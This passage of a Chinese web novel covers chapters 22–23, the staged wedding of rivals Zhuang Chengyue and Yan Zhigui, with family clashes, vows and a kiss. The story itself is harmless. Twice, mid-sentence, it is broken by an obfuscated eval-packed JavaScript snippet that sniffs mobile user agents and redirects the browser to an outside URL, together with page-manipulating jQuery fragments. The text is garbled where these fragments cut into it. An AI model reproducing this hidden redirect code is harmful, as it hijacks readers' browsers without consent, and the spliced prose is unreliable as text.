【晏乌龟】:有活儿可以留着婚礼上再整。 【兰花螳螂】:就这么自信我会出现? 【晏乌龟】:庄乘月不是会临阵退缩的人。 【兰花螳螂】:算你有慧眼。婚礼见!「月亮得意.jpg」 【晏乌龟】:婚礼见。 22. Chapter 22 11月15日,庄晏两家的“世纪婚礼”正式举行。 许多圈内豪门、明星大腕还有外国友人都收到了邀请,赶赴江海市参加婚礼,全城几个顶级酒店都住满了重要嘉宾,更有一些明星的粉丝追逐而来,把市内气氛渲染得如同过年般热闹。 毕竟是江海市王不见王的两个顶级豪门以令人跌破眼球的方式闪婚联姻,婚礼到底会奢华到什么程度本就备受关注,庄乘月才不会放过这次机会,专门让moon平台零星放出一些准备花絮,吊足了大家的胃口。 网上关于谁上谁下、谁1谁0的争论还在继续,只是站庄乘月1的人实在少之又少,简直就像异类。 所有人都等着婚礼当天看现场,谁去迎亲谁就是1,这肯定不会再有争议。 然而根据现场发回的报道,庄乘月和晏知归是同时离开家门,从相反方向绕CBD半周,最后在举办婚礼的大酒店门前相会。 这是两家友好协商的结果,毕竟一度是死对头,现在也很难克服一见面就针锋相对的肌肉反应,谁都不愿被人压一头,只能在所有环节上都采取端水原则。 既然是两头会合,那婚车车队也就有两队,庄乘月坐的头车是劳斯莱斯幻影Phantom Scintilla,安达卢西亚白与色雷斯蓝的配色显得圣洁美好,后边跟着九辆一模一样的幻影铂金版,车队穿梭在市区的公路上,宛若一条降临人间的白色神龙。 晏知归坐的头车是劳斯莱斯库里南黑色款,车队后边的九辆车则是英嘉汽车最新未发售的无人驾驶汽车,同样也是黑色,尽管只是中端车,但一溜看过去,气势也不差,可算是一条黑色长龙。 显然晏家在婚车的思路上更实际,等于给自家品牌打广告。 庄乘月一个人坐在宽敞舒适的幻影里,通过手机看moon上发的照片,心里有些怜爱晏知归了。 其实坐不坐豪车都无所谓,到了他们这种层次,炫富是不会炫富的,平时身上穿的衣服大多是定制或者品牌直送,不会带有明显logo,他们不必通过使用的品牌来体现自己的身份,反倒是品牌方会以能服务他们而倍感荣幸。 他坐这款限量版幻影也是因为喜欢,毕竟这辆太好看了,这种配色在高端轿车中找不出第二辆。 虽然只是协议结婚,但他还是希望婚礼的一切能够完美。 晏家用中端车也没什么问题,但真的就缺这点广告效应吗? 这可是婚礼诶! 啧,可怜的小龟龟。 两支车队同时抵达了江海市最顶级的五星酒店门口,两辆头车先开进欧式花园般的前院里,特意头对头停下,同时有门童上前开门,两位新郎齐刷刷地下车。 先迈出的是两人修长的腿,上半身随之探出车门。 庄乘月穿着缎面青果领一粒扣白西装上衣及黑西裤,配黑色领结,显得腰窄腿长,白色外套更衬得他皮肤瓷白,像个瓷娃娃; 晏知归则穿的是全黑西装,猛一看很像他的上班皮肤,但仔细看去,是戗驳领的双排扣外套,剪裁得当的设计恰到好处地衬出他的宽肩窄腰。 两人站定,偏头看向对方,露出了标准微笑。 酒店大堂和门廊两侧已经站了不少宾客和气氛组,看到他们两个,忍不住纷纷赞叹: “哇,好帅!” “这也太般配了吧!” “真是一对璧人!” 曹怀周、程昊还有几个庄乘月的好朋友,男生西装革履,女生穿着小礼服裙,也挤在了人群里。 “乘哥!看这边!”曹怀周高高举起手里的单反。 程昊穿着西装,把自己打扮成大人模样,也对庄乘月挥手:“乘哥乘哥你最帅,你是迷人小可爱!” 对面的人群里站着的苏元意,看见这帮人这么高调喧哗,他沉着脸,小声嘟囔:“一群显眼包!” 在夸赞声中,晏知归主动向庄乘月靠近,礼貌伸出了手,庄乘月脸上挂起更灿烂的笑容,牵住了他。 前方有婚礼策划师指引路线,两人沿着脚下红毯向前走去。 “大场面啦龟龟,紧不紧张?”庄乘月保持得体微笑,压低声音问他。 晏知归勾着唇角,翕动嘴唇:“有老婆在,怎么会紧张。” 手当即被捏得生疼。 音乐家的手虽然软,但很有一把子力气。 开玩笑逗逗小螳螂,也挺有趣。 酒店门口放着俩人的立牌,搞笑的是,这张西装合影的“婚纱照”甚至不是他俩一起拍的,只是各自拍好了然后p在一起。 两个男的不需要搂搂抱抱,只需要并肩而立就够了,背景是虚化了的大红色,现在除了他们自己,谁也看不出来这是p的。 庄乘月端详着立牌上的两个假笑男孩,自己也忍不住低头偷笑。 俩人跟着婚礼策划师进了电梯,到楼上去了行政套房,这是专门给他们准备的休息室。 庄乘月转身打量着晏知归的衣服,坏笑着说:“没想到你会穿法式塔士多,看不出你还挺闷烧的。” “不是有句话说么,丈夫的容貌,妻子的荣耀。”晏知归双手抄着裤袋,莞尔道,“大婚之日,我不能丢了你的脸。” 庄乘月立刻指着他:“事不过三啊,你五分钟之内惹我两回了。” “怎么能用手指着人?没家教!”身后传来柴老太太的斥责声。 俩人回头一看,是柴芷青、晏宇安和阮美兰一起走了进来。 阮美兰立刻附和着说:“是啊乘月,现在我们都是一家人了,你这样被人看见,也会丢我们晏家的脸。” 来了来了,他们带着清规戒律和刁难走来了! 庄乘月眼前一黑,感觉平静的日子到头了。 “奶奶,爸,兰姨,不是什么大事,我们在说笑。”晏知归解释了一句。 柴芷青不悦地说:“今天结婚典礼还不是大事?来来回回这么多亲戚和贵宾,一会儿你们绝不能在人前失了礼!” “今天不少媒体都在盯着我们家,千万不能出差错知道吗?”阮美兰狐假虎威,“对了乘月,晏家的亲戚都认全了吗?一会儿可别叫错人。” 说起这个,庄乘月几乎要笑死。 前不久阮美兰托人送了个册子过来,简直是本简历合集,每一页都印有晏家亲戚的大头照和个人简介,以及他该如何称呼对方,叫他背熟。 晏家确实人丁兴旺,已故的晏少禹有两个弟弟一个妹妹,晏宇安也有两个弟弟,各自开枝散叶出不少亲戚来,借着晏少禹的光都发展得不错,算是有身份的人。 但这么玩属实有点搞笑。 庄乘月又没见过他们,不认识很正常,到时候跟着晏知归叫就行了,没必要还来这一套吧? 方才被人指责他就不爽,这会儿表情夸张地说:“原本是记熟了的,可刚才被不敲门就闯进来的人吓了一跳,可能全忘光了。” 面对柴芷青他不敢直接回嘴,但这是接阮美兰的话,他可就不客气了。 阮美兰当即不乐意:“我这是教你礼貌,你这孩子什么态度?!就几个人还记不住?我们知潼早就倒背如流了。” “他这么厉害,不如让他来替我跟晏乌、晏知归结婚?”庄乘月继续面不改色地说,“怕就怕那身礼服他穿着不合身。” 这话实在离谱,还充满了禁忌感,估计全天下也就他敢这么肆无忌惮地说,晏知归听了,忍俊不禁地笑了起来。 这下别说阮美兰,柴芷青和晏宇安的脸都黑了。 不等母亲发话,晏宇安率先开口,神情阴沉,口吻冷厉:“乘月,胡言乱语什么?!兰姨是为你好,也是为两家的体面着想,你实在是太任性了!” 晏知归在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14848996|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫自己要不要替庄乘月说话,一来,男人嘛,自己的仗自己打,未必喜欢让别人护着,考虑到两人关系,庄乘月估计也不喜欢自己冲在前边维护他; 二来,方才那话的确是过分了一点点,自己要是出声,未必能护得了他,搞不好还会一起挨骂。 就在他踟蹰之时,门口又传来一个声音:“背不出几个素未谋面的亲戚名字就不体面了?晏伯伯您的体面也太脆弱了。” 庄乘月歪头从晏宇安身侧看过去,方才还紧绷的小脸儿立刻笑成一朵花:“大姐!”再看见后边的人,立刻扑了过去,“爸爸妈妈!爷爷!二姐!姑妈姑父你们都来啦!” 家人来了!后盾来了! 庄家人来得晚,但在门口就听见吵吵,耐心听了几句这才冲进来。 “月宝!怎么回事,在房间里不把门关好。”庄苡歆故意道,然后看向阮美兰,接着自家大姐的话茬说,“兰姨是吧,都新时代了,这边建议别搞恶婆婆给新媳妇立下马威的戏码呢,况且你也不是真婆婆,我们月宝也不是小媳妇!” 阮美兰被说得面色难看,立刻回击:“你可别胡说八道,我那是好意!” 别说庄乘月和晏知归这一个多月见面次数有限,两家其他人更是一次面都没见过,全靠手下人来回传话奔波。 可婚礼是无论如何都躲不过去的,一见面果然开怼。 儿女们做了先锋,输出了一波,乔轻云这才缓缓开口:“好意我们心领了,但小月婚前很多事要准备,还得上学,实在没空背家谱,反正有知归在,到时候他会帮忙介绍,是不是啊知归?” 既然cue到了自己,晏知归便不卑不亢地回答:“这当然,大家都没见过面,亲戚们不会介意这些。” 晏知遇和晏知恩兄弟俩没跟来,少了两个战斗力,阮美兰已经被堵得死死的,柴芷青和晏宇安碍于身份不便打嘴仗,这波小冲突到此为止。 尽管没出声,庄景川和庄新远面色也都不太好看,从国外赶回来的姑姑庄新宁看向阮美兰,露出揶揄的笑容。 晏家人被怼,庄乘月心里爽极了,但也能预见,此后这样的“小冲突”绝不会少。 无所谓,红星照我去战斗,月圣无所畏惧! 这时候婚礼策划师敲了敲敞开的门:“大家好,品牌方送来了礼服,现在两位新郎要换衣服了,麻烦诸位移步旁边的小会客厅。” “好,这就走。”庄苡歆拍拍庄乘月的肩膀,“帅宝,等会儿换好了衣服过来跟我们拍照。” 庄乘月捏着手指比心:“必须的!” 套间里的双方家人陆续离开,去了旁边特意为他们准备的两间会客厅。 礼服订的是全套燕尾服,之前已经试穿过,又送回品牌方那边做过了微调,在工作人员的帮助下,两个人迅速把衣服换好。 上半身从内到外是白色的翼领衬衫、白色V领马甲、白色领结,最后是六粒装饰扣的前短后长燕尾外套,下配黑色高腰双侧章裤,脚蹬黑色漆皮鞋。 穿好之后,两人站在穿衣镜前一同照了照,一个身如修竹,一个挺拔如剑,帅气又般配。 旁边的工作人员获得了许可,争前恐后地拍照留念,摄影师更是各种角度来一张,忙着出片。 庄乘月欣赏着镜子里他们的身影,中肯地评价:“龟龟,你看起来不错,配得上我。” “哪里,老婆才是家里最美的。”晏知归莞尔。 庄乘月当即瞪圆了眼睛,扑过去就要掐他脖子:“说了事不过三,我一定要毒哑你!” 晏知归一手拉住他的手腕,另一只手把他右臂别到身后,搂住腰将人扣住,微微垂眸看他,眉眼间皆是笑意:“别闹,把礼服弄皱了。” 这是一个可以算得上是拥抱的姿态,两人离得如此近,呼吸相闻,庄乘月甚至可以在他眼里看到自己的影子。 23. Chapter 23 “放开我!” 庄乘月突然觉得脸发烫,用力挣扎开。 搂腰什么的太过分了,哪有两个男人搂腰的,还是在调侃我! 晏知归也准备点到为止的,不料却在他脸上发现一抹淡淡酡红,很是新鲜。 兰花螳螂也会脸红? 倒也是好看的。 “我警告你,这个话题到此为止,我在这个家里是老公,听见了吗?”庄乘月瞪起眼来,不知自己现在这张过分漂亮的脸毫无威慑力。 晏知归从善如流:“好的,老公。” 庄乘月:“……” 什么鬼,好怪。 这低沉磁性的声音叫出这两个字,违和感实在满得都要溢出来了。 “闭嘴!”他觉得耳朵更烫,“叫名字!” 晏知归点点头:“月宝。” 庄乘月有点子抓狂:“说了这个只有家里人才能叫!你是不是故意的?” “是啊。”晏知归那双深窝眼里的笑意根本掩饰不住。 逗小螳螂实在太让人开心。 看着他在自己面前害羞崩溃,更有意思。 奇怪,以前怎么没发现他是个这么有趣的人? 庄乘月看他装都不装了,闭上眼睛深深吸了口气,用尽全身心力气调理的时候突然反应过来。 不对,恶心人不是我的拿手好戏吗?怎么被他复制过去了? 达咩! 生气,那才真的输了。 迅速调整过策略,庄乘月上前一步,很有诚意地看着他:“再叫一声。” 这明显是在钓鱼,晏知归收敛笑容,冷静地唤道:“庄乘月。” “在呢。”庄乘月脆生生地应道,抱着他的胳膊贴过去,仰头露出自己最甜美的笑容,用最做作最夹的声音喊,“老公,叫我干什么鸭~~” 浑身都是波浪线。 晏知归:“!!!!” 旁边不远处的工作人员和摄影师全都捂嘴姨母笑。 晏知归:“……” 看到他那一副被掐住脖子的模样,庄乘月爽了,松开手,假装拍了拍他肩膀上的灰尘,冲他眨了眨右眼:“我去跟家人拍照,一会儿见,老公~~” 说罢华丽退场。 俩人都是男的,都是老公,自己这么叫不吃亏。 晏知归觉得自己是被兰花迷了眼,忘记这花型只是拟态,而小东西漂亮的皮肤下边隐藏的是锋利的大刀。 但这嗲得甜度超标的大刀,略微有些奇怪。 他其实并不觉得恶心,又很难分析当下的心情。 大概是三分惊讶两分作呕,还有五分“好怪,再叫一声听听”。 时间有限,他没有多琢磨,庄乘月走后,他也去了晏家的会客厅,跟一众远道而来的亲戚们合影。 由于事关重大,知道的人越多越容易走漏风声,庄晏两家商量好,抱错的事实一律向旁系亲属保密,因此,双方一些才赶过来的亲戚们在热情合影的同时,免不了质疑为什么要和死对头联姻。 无他,唯真爱尔。 只能这么解释。 庄乘月和晏知归在不同的会客厅里,痛陈对彼此的爱意如山高如海深,此生非他不可,什么“执子之手与子偕老”,什么“一日不见兮,思之如狂”,还说什么如果不能在一起,那就是“天长地久有时尽,此恨绵绵无绝期”。 总之是把记着的爱情诗句背了个一溜够。 双方家长配合地摆出一副无奈脸:“还能怎么办,只能顺着他了。” 很快婚礼策划师就来提醒,时间已经快要到了,请新人准备,双方亲人入场就座。 庄乘月再见到晏知归,立刻笑眼弯弯:“又见面了,老公~~~~” “闭嘴。”晏知归低声道。 太闹得慌了。 由于这并非异性婚礼,也就免了父亲将女儿交出去的仪式,而是由两人携手一起登场。 人手一束捧花在大门外等待的时候,庄乘月稍微有了那么一些不自在。 之前都是小打小闹,马上就要在数百人面前扮演幸福爱侣,可真不能露出马脚。 但同时也有一些懊丧。 晏知归偏头看了他一眼,轻声问:“紧张?” “不是,只是觉得唏嘘。”庄乘月小声嘀咕,“虽然我没想过要跟谁结婚,但没想过会是你,也没想过会是骗人的。” “人生只会有这么一回第一次结婚的经历,应该和真正喜欢的人,满心都是憧憬,而不是时刻都想着该怎么演戏,从这个角度上想,挺遗憾的。” 越说越觉得委屈了呢。 抱错也不是自己选的,但还是要自己付出代价。 晏知归沉吟片刻,开口道:“我一直很听父亲和奶奶的话,什么事都想做到最好,唯有结婚这件事,只想自己做主,想把不婚主义坚持到底,谁知道转头就跟你联姻,还是闪婚,同样违背了我对人生的安排。” “说这些干什么?比惨吗?”庄乘月垂眸,不爽道。 晏知归看着他:“不是,只是想告诉你,在这件事上,我和你是战友。” “无论多么沮丧、难熬和痛苦,都有我陪着你。” 庄乘月略有些愕然地抬头看他,撞进了一双含着淡淡微笑的眼睛里。 场内音乐骤然响起,属于他们的时刻即将来到,晏知归牵起他的手,笑容更明显了些:“走了,上战场。” 面前大门打开,眼前是长长的红毯、红毯尽头的舞台,还有两侧无数向他们投来的目光。 这个厅非常大,堪比录制节目的演播大厅,好在两侧灯光昏暗,只有台上光芒璀璨,能减少一些“万众瞩目”带来的威压。 不过更有帮助的,确实是握住自己的那只手,时刻让庄乘月知道自己不是孤单一个人。 那只手还会时不时轻轻向前一带,给他指引,他只要挂起微笑,跟着走便是了。 登场曲是瓦格纳版本的《婚礼进行曲》,庄乘月下意识地往舞台一侧望去,因为奏响这支曲子的是他学校里的乐团,每一张面孔都让他非常熟悉,程昊自然也在其中。 这还是他跟妈妈争取来的,不是爱乐乐团请不起,是自己的乐团更有性价比。 中提琴座位靠前,就算是灯光昏暗,庄乘月也能看见程昊那小子边拉琴边向自己抛媚眼,由于过度分心拉错了音,用行内话说是冒了个大泡,估计立刻遭遇了指挥的凌空瞪,马上老实了,低下头认真拉琴。 亲朋好友都在,每个人都喜气洋洋,想想这假婚礼也不算差。 就当彩衣娱亲了,至少家人们对自己一直都很好。 想到这里,庄乘月轻松了不少,大拇指按了按晏知归的手背。 晏知归微微偏头看他,见小螳螂唇角露出了深深的梨涡,眼角弯出开心的弧度,便知他应是调整好了心态。 伴随着两人的前行,两侧宾客纷纷发出赞叹声: “第一次看男孩子跟男孩子结婚,没想到也是这么般配,一点都不觉得奇怪。” “这俩人把礼服焊身上吧,实在太帅了!” “啧啧,这谁不得说一声天作之合?” “想不到庄家和晏家会联姻,想不到两家的孩子会走到一起去,太让人意外了。” …… 走到台上,两人并排面对台下,到底都经历过大场面,并不算紧张,跟着婚礼主持人安排来就是。 豪门婚礼也翻不出花来,固定环节都大差不差,双方长辈发言、证婚人发言,很快又请双亲上台,走一个改口发红包的流程。 在策划的时候两家曾在谁先来的问题上争论不休,是以类似的问题全都由抽签决定,改口这块儿是晏家先来。 由于洛远玉早逝,阮美兰只是继母,家里老大老二都只管她叫兰姨,所以这个环节晏宇安没让她来,而是请柴芷青跟自己坐在一起。 庄乘月对她改口的时候没什么心理负担,毕竟这个年龄段的妇女都可以称之为“奶奶”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14848997|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这种场合下,柴芷青也摆出了商业笑容,难得和蔼地将手里的红包递给他,轻轻拍了拍他的手背。 但是轮到晏宇安的时候,庄乘月看着他那张由于过分严厉而川字纹明显的脸,一时张口结舌,怎么都没办法将他视为父亲,自然也喊不出来。 场面一时有些凝滞。 幸好有优雅的轻音乐做伴奏,要不然真的会尬在场上。 垂在身侧的手突然被人握住,耳侧传来晏知归的声音:“就当在跟同学玩闹。” 这倒是个好思路,庄乘月垂眸不看晏宇安的脸,很快就克服了心理障碍,张口道:“爸爸。” 主持人暗搓搓地松了口气。 “嗯,好孩子。”晏宇安把手里的红包递过去,“祝你们两个白头偕老,永结同心。” 接过红包的那一刻,庄乘月听到了身后乔轻云发出的一声呜咽。 他立刻回头看过去,就见爸爸妈妈眼圈通红,尤其妈妈已经落了泪,自己也忍不住鼻子发酸。 别人只当他们是放不下孩子离家,或者感慨孩子终于长大,只有他们自己清楚,这是要把放在手心里宝贝地养大的孩子还给亲生父母的不舍。 哪怕想见还能见到,哪怕感情永不会打折扣,但意义已经不一样了。 他们的小月,并不是自己亲生的孩子。 尽管这不影响他们依旧疼爱庄乘月,可没有血缘,就是永久的遗憾。 “爸爸妈妈,我永远都是你们的小月啊!”庄乘月转身滑跪到了他们面前,眼睛里大颗的眼泪滴落,脸上却挂着笑,“我只是又多了个爸爸,还有奶奶一起疼我。” 他伸手拉着已经跟过来的晏知归:“你们也多了一个儿子呢!” 主持人不失时机地cue流程:“对,现在也该知归改口了。” “爸爸,妈妈,往后我会和小月一起孝敬你们。”晏知归开口得毫不含糊。 在他身后的晏宇安,望着他的背影,表情复杂。 庄新远红着眼圈笑了笑,拿过乔轻云的红包一起递过去:“好好好,你们好好生活,爸爸妈妈就安心了。” “我们会的,也会常回家看望你们。”晏知归接过红包,又把庄乘月扶起来,“你们平时那么疼小月,我也会照顾好他。” 乔轻云哽咽着说:“住得那么近,一定要常回家来啊!” “妈妈我一定会的!保证没等你想我,我就回家去看你了!”庄乘月抬手帮她擦了擦眼泪。 乔轻云这会儿又拉住晏知归的手腕,仰头看着他:“答应我的事一定要做到啊!” “放心吧妈,我不会食言的。”晏知归微笑着回答。 庄乘月看看他俩,表情立刻警惕了起来。 流程走下去,终于走到了新人交换戒指的环节,有主持人在旁边一套一套地说着小词儿,场面煽情得厉害。 好在俩人也不用做什么,只要保持围笑就够了。 回想先前妈妈分明跟晏知归私下交流过的画面,庄乘月就又变成了假笑男孩。 晏知归这会儿研究起他的笑容,得出了一个结论——兰花螳螂假笑的时候,梨涡浅得很敷衍。 伴随着主持人一声“请两位新郎交换戒指”,伴郎曹怀周和苏元意分别给他俩递上了戒指盒。 男款戒指很简单,简约的白金指环镶嵌着几颗碎钻,美观又大方。 但庄乘月对此毫不感兴趣,实在没忍住,在给晏知归戴戒指的时候低声问:“你跟我妈妈是不是背着我偷偷见过面了?” “现在不是说这个的时候。”晏知归握住他的手,把戒指戴在他修长的无名指上。 庄乘月不爽道:“你们说什么了?!告诉你,别想抢走她对我的——” 话还没说完,就见晏知归笑了一下,而自己被兜住后脑勺按了过去。 下一刻,嘴唇被人吻住,没来得及说出口的“爱”字,也被堵在了口中。 庄乘月怒气冲冲地张嘴,在晏知归的唇上咬了一口!